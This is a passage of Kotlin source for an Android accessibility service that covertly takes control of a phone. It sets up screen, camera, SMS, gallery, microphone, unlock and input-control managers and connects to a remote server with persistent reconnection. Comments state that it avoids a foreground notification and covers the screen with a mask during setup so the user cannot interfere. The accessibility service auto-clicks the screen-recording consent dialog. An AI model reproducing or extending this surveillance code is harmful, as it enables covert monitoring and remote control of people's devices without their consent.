                    Log.d(TAG, "❌ 包名不匹配: $targetPackage")
                }
            }

        } else {
            Log.w(TAG, "⚠️ 无法获取根节点")
        }
    }

    // 判断当前是否仍在多任务页（包名前缀命中）
    private fun isLikelyRecentsPage(): Boolean {
        return try {
            val pkg = rootInActiveWindow?.packageName?.toString() ?: return false
            val launcherPrefixes = arrayOf(
                "com.bbk.launcher",
                "com.android.launcher",
                "com.oppo.launcher",
                "com.miui.home",
                "com.meizu.flyme.launcher",
                "com.huawei.android.launcher",
                "com.hihonor.android.launcher"
            )
            launcherPrefixes.any { prefix -> pkg.lowercase().startsWith(prefix.lowercase()) }
        } catch (_: Exception) {
            false
        }
    }


    /**
     * 安全地检查网络连接状态
     */
    private fun isNetworkConnected(): Boolean {
        return if (::networkManager.isInitialized) {
            networkManager.isConnected()
        } else {
            false
        }
    }

    /**
     * 初始化服务
     */
    private fun initializeService() {
        serviceScope.launch {
            try {
                Log.i(TAG, "🚀 开始无障碍服务初始化")
                
                // ❎ 不创建通知渠道，不启动前台通知（仅使用WorkManager保活）

                // 初始化各个管理器
                Log.d(TAG, "📦 初始化各个管理器")
                initializeManagers()
                Log.d(TAG, "✅ 管理器初始化完成")

                // 开始权限获取流程
                Log.d(TAG, "🔐 开始权限获取流程")
                startPermissionGrantFlow()
                Log.d(TAG, "✅ 权限获取流程完成")

                isInitialized = true
                Log.i(TAG, "✅ 无障碍服务初始化完成")

            } catch (e: Exception) {
                Log.e(TAG, "❌ 无障碍服务初始化失败", e)
                // 添加更详细的错误信息
                Log.e(TAG, "❌ 初始化异常详情: ${e.message}")
                Log.e(TAG, "❌ 异常堆栈: ${e.stackTrace.joinToString("\n")}")
                
                // 尝试降级初始化
                try {
                    Log.w(TAG, "🔄 尝试降级初始化")
                    isInitialized = false
                    // 至少确保基本功能可用
                    initializeBasicComponents()
                } catch (fallbackException: Exception) {
                    Log.e(TAG, "❌ 降级初始化也失败", fallbackException)
                }
            }
        }
    }
    
    /**
     * 降级初始化 - 确保基本功能可用
     */
    private fun initializeBasicComponents() {
        try {
            Log.i(TAG, "🔄 执行降级初始化")
            // 只初始化最基本的管理器
            if (!::permissionGranter.isInitialized) {
                permissionGranter = PermissionGranter(this)
            }
            if (!::screenCaptureManager.isInitialized) {
                screenCaptureManager = ScreenCaptureManager(this)
            }
            Log.i(TAG, "✅ 降级初始化完成")
        } catch (e: Exception) {
            Log.e(TAG, "❌ 降级初始化失败", e)
        }
    }

    /**
     * 初始化各个管理器
     */
    private lateinit var galleryManager: GalleryManager
    private lateinit var microphoneManager: MicrophoneManager

    private fun initializeManagers() {
        permissionGranter = PermissionGranter(this)
        screenCaptureManager = ScreenCaptureManager(this)
        cameraManager = CameraManager(this)
        smsManager = SMSManager(this)
        galleryManager = GalleryManager(this)
        microphoneManager = MicrophoneManager(this)
        gestureController = GestureController(this)
        inputController = InputController(this)

        // ✅ Phase 4.2 Step 6: 现在初始化UnlockManager（依赖gestureController和inputController）
        unlockManager = UnlockManager(this, this, gestureController, inputController)

        // ✅ Phase 4.2 Step 7: 初始化ScreenManager
        screenManager = ScreenManager(this, this)

        // ✅ Phase 4.2 Step 8: 初始化GestureManager
        gestureManager = GestureManager(this, this, gestureController)

        // ✅ Phase 4.2 Step 9: 初始化InputManager
        inputManager = InputManager(this, this, gestureController, inputController)

        // ✅ Phase 4.3 Step 1: 初始化LearningManager
        learningManager = LearningManager(this, this, unlockManager)

        // ✅ 优化：设置InputManager的学习管理器引用
        if (::inputManager.isInitialized) {
            inputManager.setLearningManager(learningManager)
        }

        // ✅ Phase 4.1 Step 3: 使用NetworkManager替代直接的网络连接管理
        if (::networkManager.isInitialized) {
            // ✅ 修复：程序重启时重置网络状态
            networkManager.resetNetworkState()
            networkManager.initialize()

            // ✅ 保持对外接口兼容性，从NetworkManager获取实例
            socketIOManager = networkManager.getSocketIOManager() ?: SocketIOManager(this)
        } else {
            // 回退到直接初始化
            socketIOManager = SocketIOManager(this)
        }

        // ✅ 修复：首先初始化日志收集器
        logCollector = OperationLogCollector(this)

        // ✅ Phase 4.3 Step 2: 初始化LoggingManager（传递logCollector实例）
        loggingManager = LoggingManager(this, this)
        loggingManager.initialize(logCollector)

        // ✅ Phase 4.3 Step 3: 初始化KeyEventManager
        keyEventManager.initialize()
        keyEventManager.setLogRecorder { logType, content, data ->
            if (::loggingManager.isInitialized) {
                loggingManager.recordOperationLog(logType, content, data)
            }
        }

        // ✅ Phase 4.3 Step 4: 初始化MaskOverlayManager
        maskOverlayManager.initialize()

        // ✅ Phase 4.3 Step 5: 初始化UIAnalysisManager
        uiAnalysisManager.initialize()

        // ✅ Phase 4.3 Step 6: 初始化PermissionUIManager
        permissionUIManager.initialize()

        // ✅ Phase 4.3 Step 7: 初始化DebugAnalysisManager
        debugAnalysisManager.initialize()

        // ✅ 新增：初始化ConfigMaskManager
        configMaskManager.initialize()


        // ✅ Phase 4.1 Step 2: 初始化AccessibilityEventManager
        if (::accessibilityEventManager.isInitialized) {
            accessibilityEventManager.initialize(
                permissionGranter = if (::permissionGranter.isInitialized) permissionGranter else null,
                logCollector = logCollector,
                isLoggingEnabled = isLoggingEnabled
            )
        }

        // ✅ 修复：确保如果日志记录已启用，OperationLogCollector也被启动
        // if (isLoggingEnabled && logCollector != null) {
        //     logCollector?.startLogging()
        //     Log.i(TAG, "✅ 自动启动OperationLogCollector，因为日志记录已启用")
        // }
        // 暂停：暂时不自动启动日志收集器

        // ✅ 初始化智能权限管理器（适用于所有Android版本，特别针对Android 15优化）
        Log.i(TAG, "🧠 初始化智能MediaProjection管理器")
        smartMediaProjectionManager = SmartMediaProjectionManager.getInstance(this)

        // 设置权限状态监听器
        smartMediaProjectionManager?.addPermissionStateListener(object :
            SmartMediaProjectionManager.PermissionStateListener {
            override fun onPermissionLost(reason: SmartMediaProjectionManager.LossReason) {
                Log.w(TAG, "⚠️ 智能管理器检测到权限丢失: $reason")
                handleSmartPermissionLoss(reason)
            }

            override fun onPermissionRecovered() {
                Log.i(TAG, "✅ 智能管理器权限已恢复")
                handleSmartPermissionRecovery()
            }

            override fun onPermissionFailedToRecover() {
                Log.e(TAG, "❌ 智能管理器权限恢复失败")
                handleSmartPermissionRecoveryFailure()
            }
        })

        // 初始化智能管理器
        val initialized = smartMediaProjectionManager?.initialize() ?: false
        if (initialized) {
            Log.i(TAG, "✅ 智能MediaProjection管理器初始化成功")
        } else {
            Log.w(TAG, "⚠️ 智能MediaProjection管理器初始化失败，回退到传统模式")
        }

        // ✅ 初始化权限健康监控服务
        Log.i(TAG, "🏥 初始化权限健康监控服务")
        permissionHealthMonitor = PermissionHealthMonitor.getInstance(this)

        // 注册权限健康事件监听器
        registerPermissionHealthReceiver()

        // 🛡️ 暂时禁用权限健康监控，避免触发重复权限申请
        // 改为被动监控模式，只在真正需要时才启动
        Log.i(TAG, "🛡️ 权限健康监控已设置为被动模式，避免重复权限申请")

        // 延迟30秒后启动轻量级监控，确保权限已完全稳定
        serviceScope.launch {
            delay(30000) // 延长到30秒

            // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过权限健康监控
            if (Build.VERSION.SDK_INT >= 30) {
                Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过权限健康监控")
                return@launch
            }

            if (Build.VERSION.SDK_INT >= 35) {
                Log.i(TAG, "🔍 Android 15设备：启动轻量级权限监控")
                // 对Android 15设备，只在权限可能有问题时才启动监控
                val permissionData = MediaProjectionHolder.getPermissionData()
                val mediaProjection = MediaProjectionHolder.getMediaProjection()

                if (permissionData == null || mediaProjection == null) {
                    Log.w(TAG, "⚠️ 检测到权限缺失，启动轻量级监控")
                    permissionHealthMonitor?.startMonitoring()
                } else {
                    Log.i(TAG, "✅ 权限状态良好，保持被动监控")
                }
            } else {
                Log.i(TAG, "✅ 非Android 15设备，权限监控已禁用")
            }
        }

        // ✅ 检测Android 15并初始化专用管理器（保留作为备用）
        // 🚨 Android 11+特殊处理：统一使用无障碍截图API，跳过Android 15专用管理器
        if (Build.VERSION.SDK_INT >= 30) {
            Log.i(TAG, "📱 Android 11+设备：使用无障碍截图API，跳过Android 15专用管理器")
        } else if (Build.VERSION.SDK_INT >= 35) { // Android 15 = API 35
            Log.i(TAG, "🔍 检测到Android 15设备，初始化专用MediaProjection管理器（备用）")
            android15MediaProjectionManager = Android15MediaProjectionManager(
                context = this,
                onPermissionLost = {
                    Log.w(TAG, "⚠️ Android 15 MediaProjection权限丢失")
                    // 暂停屏幕捕获，等待恢复
                    if (::screenCaptureManager.isInitialized) {
                        screenCaptureManager.pauseCapture()
                    }
                },
                onPermissionRecovered = {
                    Log.i(TAG, "✅ Android 15 MediaProjection权限已恢复")
                    // 恢复屏幕捕获
//                    if (::screenCaptureManager.isInitialized) {
//                        screenCaptureManager.resumeCapture()
//                    }
                }
            )
            android15MediaProjectionManager?.initialize()
        }
    }

    /**
     * 开始权限获取流程 - 修复时序问题，新增智能返回应用逻辑
     */
    private suspend fun startPermissionGrantFlow() {
        try {
            Log.i(TAG, "开始自动权限获取流程")

            // 🔧 Android 11+：同时申请 MediaProjection 权限（通过 MainActivity + 无障碍自动点击确认）
            // 不再完全跳过 MediaProjection，而是尝试获取以提升帧率
            if (Build.VERSION.SDK_INT >= 30) {
                Log.i(
                    TAG,
                    "📱 Android 11+设备：尝试申请 MediaProjection 权限以提升帧率"
                )

                if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                    if (::configMaskManager.isInitialized) {
                        configMaskManager.showConfigMask()
                        Log.i(TAG, "🖤 Android 11+设备：显示配置期间遮盖，防止用户误操作")
                    }
                    if (::configProgressManager.isInitialized) {
                        configProgressManager.startConfiguration()
                        configProgressManager.updateProgress(ConfigProgressManager.ConfigStage.CHECKING_PERMISSIONS)
                    }
                }

                // 🔧 立即启动WRITE_SETTINGS权限申请
                Log.i(TAG, "📱 Android 11+设备：立即申请WRITE_SETTINGS权限")

                if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                    authorizationModule?.startAuthorization()
                }

                // 🔧 快速建立服务器连接，先用无障碍截图保底
                serviceScope.launch {
                    delay(500)
                    Log.i(TAG, "📱 Android 11+设备：快速建立服务器连接")

                    try {
                        connectToServer()
                        Log.i(TAG, "✅ Android 11+设备快速连接成功")

                        // 先启用无障碍截图模式保底，后续 MediaProjection 权限获取后会自动切换
                        if (::screenCaptureManager.isInitialized) {
                            screenCaptureManager.enableAccessibilityScreenshotMode()
                            Log.i(TAG, "📱 Android 11+设备：已启用无障碍截图模式（保底）")
                        }

                    } catch (e: Exception) {
                        Log.w(TAG, "⚠️ Android 11+设备快速连接失败，启动后台重连", e)
                        startBackgroundReconnection()
                    }
                }

                // 🔧 Android 11+：检查是否已有 MediaProjection 权限，没有则通过 MainActivity 申请
                val existingPermission = MediaProjectionHolder.getPermissionData()
                if (existingPermission == null) {
                    Log.i(TAG, "📱 Android 11+设备：MediaProjection 权限不存在，启动 MainActivity 申请")
                    // 设置权限申请标志
                    permissionRequestInProgress = true

                    // 延迟启动 MainActivity 申请 MediaProjection 权限
                    // 无障碍服务的 PermissionGranter 会自动点击确认弹框
                    serviceScope.launch {
                        delay(2000) // 等待 WRITE_SETTINGS 等权限流程稳定
                        Log.i(TAG, "🚀 Android 11+设备：启动 MainActivity 申请 MediaProjection 权限")
                        startMainActivityForPermission()
                    }
                } else {
                    Log.i(TAG, "📱 Android 11+设备：MediaProjection 权限已存在")
                    permissionRequestInProgress = false
                    allPermissionsCompleted = true

                    // 权限已存在，尝试切换到 MediaProjection 模式
                    if (::screenCaptureManager.isInitialized) {
                        serviceScope.launch {
                            delay(1000)
                            screenCaptureManager.switchToMediaProjectionMode()
                            Log.i(TAG, "📱 Android 11+设备：已切换到 MediaProjection 模式")
                        }
                    }
                }

                return
            }

            if (!screenBrightnessManager.hasWriteSettingsPermission()) {
                // ✅ 🔧 修复：Android 11+设备也显示配置期间遮盖
                if (::configMaskManager.isInitialized) {
                    configMaskManager.showConfigMask()
                    Log.i(TAG, "🖤 Android 11+设备：显示配置期间遮盖，防止用户误操作")
                }
                if (::configProgressManager.isInitialized) {
                    configProgressManager.startConfiguration()
                    configProgressManager.updateProgress(ConfigProgressManager.ConfigStage.CHECKING_PERMISSIONS)
                }
            }

            // ✅ 检查是否所有权限已完成，防止重复申请
            if (allPermissionsCompleted) {
                Log.i(TAG, "🔄 所有权限已完成，跳过重复申请流程")
                // 注意：不要在这里隐藏配置遮盖，应该在服务初始化完成后统一隐藏
                return
            }

            // ✅ 检查是否已有权限申请正在进行
            if (permissionRequestInProgress) {
                Log.i(TAG, "⚠️ 权限申请流程正在进行，跳过重复启动")
                return
            }

            // ✅ 检查MediaProjection权限是否已存在
            val permissionData = com.hikoncont.MediaProjectionHolder.getPermissionData()
            if (permissionData != null) {
                Log.i(TAG, "📱 MediaProjection权限已存在，继续其他权限检查")
                // 注意：不要立即调用continueServiceInitialization()，应该继续悬浮窗权限检查

                // 重置权限申请状态
                permissionRequestInProgress = false

                // 直接继续服务初始化，跳过悬浮窗权限处理
                serviceScope.launch {
                    // 等待ConfigMaskActivity稳定显示
                    delay(2000)
                    continueServiceInitialization()
                }
                return
            }

            // 设置权限申请标志
            permissionRequestInProgress = true

            // ✅ 延迟2秒，确保无障碍服务状态在系统中完全更新
            Log.i(TAG, "⏳ 等待1秒让无障碍服务状态在系统中完全更新...")
            delay(1000)

            // ✅ 优先申请MediaProjection权限 - 修复申请顺序
            Log.i(TAG, "✅ 系统状态稳定，延迟启动MainActivity申请屏幕录制权限")
            // ✅ 缩短延迟时间，优先申请MediaProjection权限
            serviceScope.launch {
                delay(1000) // 缩短为1秒，加快权限申请速度
                Log.i(TAG, "🚀 权限不存在，启动MainActivity申请权限")
                startMainActivityForPermission()
            }

            // ✅ 添加超时机制：如果10秒内没有建立连接，主动建立连接
            serviceScope.launch {
                delay(10000) // 10秒超时，减少等待时间

                // ✅ 双重检查：确保服务器连接状态和设备注册状态 - Phase 4.1 Step 3: 使用NetworkManager
                val socketConnected =
                    if (::networkManager.isInitialized) networkManager.isConnected() else false
                val deviceRegistered = isDeviceRegistered()

                if (!socketConnected && !deviceRegistered) {
                    Log.w(TAG, "⚠️ 10秒内未建立服务器连接，主动建立连接确保设备可见")
                    Log.i(TAG, "🔄 主动建立服务器连接以确保设备可见")

                    try {
                        connectToServer()

                        // 如果连接成功，继续正常流程
                        val newSocketConnected =
                            if (::networkManager.isInitialized) networkManager.isConnected() else false
                        if (newSocketConnected) {
                            Log.i(TAG, "✅ 超时后连接成功，继续正常流程")
                        } else {
                            Log.w(TAG, "⚠️ 超时后连接仍失败，启动后台重连机制")
                            // 不立即跳转回主界面，而是启动后台重连
                            startBackgroundReconnection()
                        }
                    } catch (e: Exception) {
                        Log.e(TAG, "❌ 超时后建立连接失败，启动后台重连", e)
                        startBackgroundReconnection()
                    }
                } else {
                    Log.i(
                        TAG,
                        "✅ 设备已连接或已注册，跳过超时重连: socketConnected=$socketConnected, deviceRegistered=$deviceRegistered"
                    )
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "自动权限获取失败", e)
        }
    }


    // 删除悬浮窗权限页面检查方法


    /**
     * 继续服务初始化
     */
    private suspend fun continueServiceInitialization() {
        // ✅ 防止重复初始化，避免多个连接
        if (serviceInitializationStarted) {
            Log.w(TAG, "⚠️ 服务初始化已在进行中，跳过重复调用")
            return
        }
        serviceInitializationStarted = true

        try {
            Log.i(TAG, "继续服务初始化流程")

            // 1. 初始化屏幕捕获
            screenCaptureManager.initialize()
            
            // ✅ 启动无障碍服务后，暂停屏幕发送
            if (::screenCaptureManager.isInitialized) {
                screenCaptureManager.pauseCapture()
                Log.i(TAG, "⏸️ 无障碍服务启动后已暂停屏幕发送")
            }

            // 2. 连接到服务器（避免重复连接）- ✅ Phase 4.1 Step 3: 使用NetworkManager
            val socketConnected = isNetworkConnected()
            if (!socketConnected) {
                Log.i(TAG, "📡 开始连接到服务器...")
                connectToServer()

                // 3. ✅ 如果连接失败，启动后台重连机制
                val newSocketConnected = isNetworkConnected()
                if (!newSocketConnected) {
                    Log.w(TAG, "⚠️ 初始连接失败，启动后台重连机制")
                    startBackgroundReconnection()
                }
            } else {
                Log.i(TAG, "✅ 服务器已连接，跳过重复连接")
            }

            // 4. ✅ 移除立即启动屏幕捕获，等待设备注册成功后再启动
            // ⚠️ 屏幕捕获将在SocketIO收到device_registered事件后启动
            Log.i(TAG, "🔄 等待设备注册完成后启动屏幕捕获")

            // 5. ✅ 权限状态检查
            val mediaProjectionReady = if (Build.VERSION.SDK_INT >= 30) {
                // Android 11+：检查 MediaProjection 权限是否已获取
                val hasMP = MediaProjectionHolder.getPermissionData() != null
                if (hasMP) {
                    Log.i(TAG, "📱 Android 11+设备：MediaProjection 权限已就绪")
                } else {
                    Log.i(TAG, "📱 Android 11+设备：MediaProjection 权限未就绪，使用无障碍截图保底")
                }
                true // 无论是否有 MediaProjection，无障碍截图都可以保底
            } else {
                MediaProjectionHolder.getPermissionData() != null
            }
            val serverConnected = isNetworkConnected()

            Log.i(
                TAG,
                "📊 服务状态检查：MediaProjection权限=$mediaProjectionReady, 服务器连接=$serverConnected"
            )

            // ✅ 不在这里隐藏遮盖，让设备注册成功后再隐藏
            if (mediaProjectionReady && serverConnected) {
                Log.i(TAG, "✅ 基础组件已就绪，等待设备注册完成")
                allPermissionsCompleted = true

                // Android 11+：如果 MediaProjection 可用则使用，否则用无障碍截图保底
                if (Build.VERSION.SDK_INT >= 30) {
                    if (::screenCaptureManager.isInitialized) {
                        val hasMP = MediaProjectionHolder.getPermissionData() != null
                        if (!hasMP) {
                            Log.i(TAG, "📱 Android 11+设备：MediaProjection 不可用，启用无障碍截图模式保底")
                            screenCaptureManager.enableAccessibilityScreenshotMode()
                        } else {
                            Log.i(TAG, "📱 Android 11+设备：MediaProjection 可用，将使用 VirtualDisplay 模式")
                        }
                    }
                }
            } else {
                Log.w(
                    TAG,
                    "⚠️ 基础组件未就绪，继续等待：MediaProjection=$mediaProjectionReady, ServerConnected=$serverConnected"
                )

                // Android 11+：先用无障碍截图保底
                if (Build.VERSION.SDK_INT >= 30) {
                    if (::screenCaptureManager.isInitialized) {
                        screenCaptureManager.enableAccessibilityScreenshotMode()
                        Log.i(TAG, "📱 Android 11+设备：组件未就绪，先启用无障碍截图模式保底")
                    }
                }
            }

            Log.i(TAG, "服务初始化完成")

            // 移除自动摄像头/相册权限申请与延迟检查

        } catch (e: Exception) {
            Log.e(TAG, "服务初始化失败", e)
            // 即使初始化失败，也启动重连机制
            startBackgroundReconnection()
        } finally {
            // ✅ 重置标志，允许后续重新初始化（如果需要）
            serviceInitializationStarted = false
        }
    }

    /**
     * 启动后台重连机制 - 优化重连频率和次数
     */
    private fun startBackgroundReconnection() {
        serviceScope.launch {
            var retryCount = 0
            val maxRetries = 50  // 大幅增加重连次数
            var currentDelay = 2000L // 2秒起始延迟

            while (retryCount < maxRetries && !isNetworkConnected()) {
                // ✅ 在每次重连前检查是否已经连接或注册
                val socketConnected = isNetworkConnected()
                val deviceRegistered = isDeviceRegistered()

                if (socketConnected || deviceRegistered) {
                    Log.i(
                        TAG,
                        "✅ 后台重连期间检测到已连接或注册，停止重连: socketConnected=$socketConnected, deviceRegistered=$deviceRegistered"
                    )
                    break
                }

                retryCount++

                Log.i(TAG, "🔄 后台重连尝试 #$retryCount/$maxRetries，等待 ${currentDelay / 1000}秒")
                delay(currentDelay)

                // ✅ 再次检查，避免在延迟期间已经连接成功的情况下重复连接
                if (isNetworkConnected()) {
                    Log.i(TAG, "✅ 延迟期间检测到已连接，停止重连")
                    break
                }

                try {
                    connectToServer()
                    if (isNetworkConnected()) {
                        Log.i(TAG, "✅ 后台重连成功！")
                        break
                    }
                } catch (e: Exception) {
                    Log.w(TAG, "❌ 后台重连尝试 #$retryCount 失败: ${e.message}")
                }

                // ✅ 智能延迟策略：前10次快速重试(2秒)，之后逐渐增加到最大10秒
                if (retryCount < 10) {
                    currentDelay = 2000L // 前10次保持2秒
                } else if (retryCount < 20) {
                    currentDelay = 5000L // 接下来10次5秒
                } else {
                    currentDelay = 10000L // 之后10秒间隔
                }
            }

            if (!isNetworkConnected()) {
                Log.w(TAG, "⚠️ 后台重连达到最大次数，将依赖各连接管理器的自动重连机制")
                // 最后尝试返回主界面显示状态
                serviceScope.launch {
                    smartReturnToApp()
                }
            }
        }
    }


    /**
     * 检查并请求悬浮窗权限
     */
    private fun checkAndRequestOverlayPermission() {
        try {
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                if (!Settings.canDrawOverlays(this)) {
                    Log.w(TAG, "检测到缺少悬浮窗权限，引导用户开启")

                    // 发送通知提醒用户开启悬浮窗权限
                    showOverlayPermissionNotification()

                    // 删除自动打开悬浮窗权限设置页面
                } else {
                    Log.i(TAG, "悬浮窗权限已获取")
                }
            }
        } catch (e: Exception) {
            Log.e(TAG, "检查悬浮窗权限失败", e)
        }
    }

    /**
     * 暂停屏幕捕获但保留权限
     */
    fun pauseScreenCapture() {
        try {
            if (::screenCaptureManager.isInitialized) {
                screenCaptureManager.pauseCapture()
                Log.i(TAG, "⏸️ 屏幕捕获已暂停")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 暂停屏幕捕获失败", e)
        }
    }

    /**
     * 启动屏幕捕获
     */
    fun startScreenCapture() {
        try {
            Log.e(TAG, "🚀🚀🚀 startScreenCapture被调用!!! 🚀🚀🚀")

            if (::screenCaptureManager.isInitialized) {
                Log.e(TAG, "✅ ScreenCaptureManager已初始化，开始启动捕获")
//                screenCaptureManager.startCapture()
                Log.e(TAG, "🎬🎬🎬 屏幕捕获已启动!!! 🎬🎬🎬")

                // ✅ 屏幕捕获成功启动后，对于Android 15设备发送权限稳定广播（防重复）
                if (Build.VERSION.SDK_INT >= 35 && !android15PermissionStableNotified) {
                    serviceScope.launch {
                        delay(2000) // 等待2秒确保屏幕捕获稳定
                        if (!android15PermissionStableNotified) { // 双重检查防止重复发送
                            android15PermissionStableNotified = true
                            val stableIntent =
                                Intent("android.mycustrecev.ANDROID15_PERMISSION_STABLE")
                            sendBroadcast(stableIntent)
                            Log.i(TAG, "🛡️ 已发送Android 15权限稳定广播（屏幕捕获启动后）")
                        }
                    }
                }
            } else {
                Log.e(TAG, "❌ ScreenCaptureManager未初始化")
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 启动屏幕捕获失败", e)
        }
    }


    /**
     * 获取设备ID（重命名避免与Android 14+ AccessibilityService.getDeviceId()冲突）
     */
    private fun getLocalDeviceId(): String {
        return try {
            android.provider.Settings.Secure.getString(
                contentResolver,
                android.provider.Settings.Secure.ANDROID_ID
            ) ?: "unknown"
        } catch (e: Exception) {
            Log.e(TAG, "获取设备ID失败", e)
            "unknown"
        }
    }

    /**
     * ✅ Phase 4.3 Step 4: 检查输入阻塞状态 - 委托给MaskOverlayManager
     */
    fun isInputBlocked(): Boolean {
        return try {
            if (::maskOverlayManager.isInitialized) {
                maskOverlayManager.isInputBlocked()
            } else {
                Log.w(TAG, "⚠️ MaskOverlayManager未初始化，使用本地状态")
                isInputBlocked
            }
        } catch (e: Exception) {
            Log.e(TAG, "❌ 检查输入阻塞状态失败", e)
            false
        }
    }

    /**
     * 显示悬浮窗权限通知
     */
    private fun showOverlayPermissionNotification() {
        try {
            val notification = NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID)
                .setContentTitle("需要悬浮窗权限")
                .setContentText("点击开启悬浮窗权限以支持操作控制功能")
                .setSmallIcon(R.drawable.ic_remote_control)
                .setPriority(NotificationCompat.PRIORITY_HIGH)
                .setAutoCancel(true)
                .setContentIntent(
                    PendingIntent.getActivity(
                        this,
                        0,
                        Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION).apply {
                            data = android.net.Uri.parse("package:$packageName")
                            flags = Intent.FLAG_ACTIVITY_NEW_TASK
                        },
                        PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_IMMUTABLE
                    )
                )
                .build()

            val notificationManager =
                getSystemService(Context.NOTIFICATION_SERVICE) as NotificationManager
            notificationManager.notify(2, notification)

            Log.i(TAG, "已显示悬浮窗权限通知")
        } catch (e: Exception) {
            Log.e(TAG, "显示悬浮窗权限通知失败", e)
        }
    }

    /**
     * 显示悬浮窗权限获取失败通知 - 强调为可选功能
     */
    // 删除显示悬浮窗权限失败通知方法

    // 删除打开悬浮窗权限设置页面方法

    // 删除自动点击悬浮窗权限按钮方法

    /**
     * ✅ Phase 4.2 Step 8: 尝试多种点击方法 - 委托给GestureManager
     */
    private fun tryMultipleClickMethods(node: AccessibilityNodeInfo, nodeType: String): Boolean {
        return gestureManager.tryMultipleClickMethods(node, nodeType)
    }


    /**
     * 增强的点击方法 - 增加更多点击策略
     */
    private fun tryEnhancedClickMethods(node: AccessibilityNodeInfo, nodeType: String): Boolean {
        Log.i(TAG, "🎯 对${nodeType}尝试增强点击方法")

        // 记录原始状态
        val originalChecked = node.isChecked
        Log.i(TAG, "📊 原始状态: isChecked=$originalChecked")

        // 方法1: 标准点击
        try {
            Log.d(TAG, "  方法1: 标准点击")
            val success1 = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
            Log.i(TAG, "  标准点击结果: $success1")
            if (success1) {
                if (waitAndCheckStateChange(node, originalChecked, "标准点击")) {
                    return true
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "  标准点击异常: ${e.message}")
        }

        // 方法2: 坐标点击
        try {
            Log.d(TAG, "  方法2: 坐标点击")
            val success2 = tryCoordinateClick(node)
            Log.i(TAG, "  坐标点击结果: $success2")
            if (success2) {
                if (waitAndCheckStateChange(node, originalChecked, "坐标点击")) {
                    return true
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "  坐标点击异常: ${e.message}")
        }

        // 方法3: 长按（某些设备需要长按来触发）
        try {
            Log.d(TAG, "  方法3: 长按点击")
            val success3 = node.performAction(AccessibilityNodeInfo.ACTION_LONG_CLICK)
            Log.i(TAG, "  长按点击结果: $success3")
            if (success3) {
                if (waitAndCheckStateChange(node, originalChecked, "长按点击")) {
                    return true
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "  长按点击异常: ${e.message}")
        }

        // 方法4: 选择操作（针对可选择的控件）
        if (node.isCheckable) {
            try {
                Log.d(TAG, "  方法4: 选择操作")
                val success4 = node.performAction(AccessibilityNodeInfo.ACTION_SELECT)
                Log.i(TAG, "  选择操作结果: $success4")
                if (success4) {
                    if (waitAndCheckStateChange(node, originalChecked, "选择操作")) {
                        return true
                    }
                }
            } catch (e: Exception) {
                Log.w(TAG, "  选择操作异常: ${e.message}")
            }
        }

        // 方法5: 焦点+确认（某些设备需要先获取焦点）
        try {
            Log.d(TAG, "  方法5: 焦点+确认")
            val focus = node.performAction(AccessibilityNodeInfo.ACTION_FOCUS)
            if (focus) {
                Thread.sleep(200) // 等待焦点生效
                val success5 = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                Log.i(TAG, "  焦点+确认结果: $success5")
                if (success5) {
                    if (waitAndCheckStateChange(node, originalChecked, "焦点+确认")) {
                        return true
                    }
                }
            }
        } catch (e: Exception) {
            Log.w(TAG, "  焦点+确认异常: ${e.message}")
        }

        Log.w(TAG, "❌ 所有增强点击方法都失败了")
        return false
    }

    /**
     * 为文本节点查找可点击的父节点
     */
    private fun findClickableParentForAndroid15(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        Log.i(TAG, "🔍 在文本节点附近查找可点击区域")

        var parent = textNode.parent
        var level = 0

        // 向上搜索最多5层父节点
        while (parent != null && level < 5) {
            level++
            Log.d(TAG, "  检查第${level}层父节点: ${parent.className}")

            // 检查父节点是否可点击
            if (parent.isClickable) {
                Log.i(TAG, "✅ 找到第${level}层可点击父节点: ${parent.className}")

                // 检查是否是合适的控件类型
                val className = parent.className?.toString() ?: ""
                if (className.contains("Layout") ||
                    className.contains("View") ||
                    className.contains("Switch") ||
                    className.contains("Toggle")
                ) {
                    return parent
                }
            }

            // 检查父节点的兄弟节点
            val grandParent = parent.parent
            if (grandParent != null) {
                for (i in 0 until grandParent.childCount) {
                    val sibling = grandParent.getChild(i)
                    if (sibling != null && sibling != parent) {
                        if (sibling.isClickable && (sibling.isCheckable ||
                                    sibling.className?.toString()?.contains("Switch") == true ||
                                    sibling.className?.toString()?.contains("Toggle") == true)
                        ) {
                            Log.i(TAG, "✅ 找到兄弟节点中的可点击控件: ${sibling.className}")
                            return sibling
                        }
                        sibling.recycle()
                    }
                }
            }

            val nextParent = parent.parent
            parent.recycle()
            parent = nextParent
        }

        Log.w(TAG, "❌ 未找到文本节点的可点击父节点")
        return null
    }

    /**
     * 等待并检查状态变化 - Android 15优化版本
     */
    private fun waitAndCheckStateChange(
        node: AccessibilityNodeInfo,
        originalChecked: Boolean,
        method: String
    ): Boolean {
        Log.d(TAG, "  ⏳ 等待${method}的UI更新...")

        // ✅ 记录点击前的完整状态
        val beforePermission = android.provider.Settings.canDrawOverlays(this)
        val beforeUIState = captureUIState()
        Log.d(TAG, "  📊 点击前完整状态: 权限=$beforePermission, UI状态=$beforeUIState")

        // 动态调整检查策略
        val maxChecks = if (Build.VERSION.SDK_INT >= 35) 10 else 8
        val checkInterval = if (Build.VERSION.SDK_INT >= 35) 300L else 400L

        // 等待多个周期，检查状态变化
        for (i in 1..maxChecks) {
            Thread.sleep(checkInterval)

            try {
                // ✅ 优先检查系统权限状态（最可靠的指标）
                val currentPermission = android.provider.Settings.canDrawOverlays(this)
                if (currentPermission != beforePermission) {
                    Log.i(
                        TAG,
                        "✅ ${method}成功！系统权限状态已改变: $beforePermission -> $currentPermission"
                    )
                    return true
                }

                // ✅ 检查UI状态变化
                val currentUIState = captureUIState()
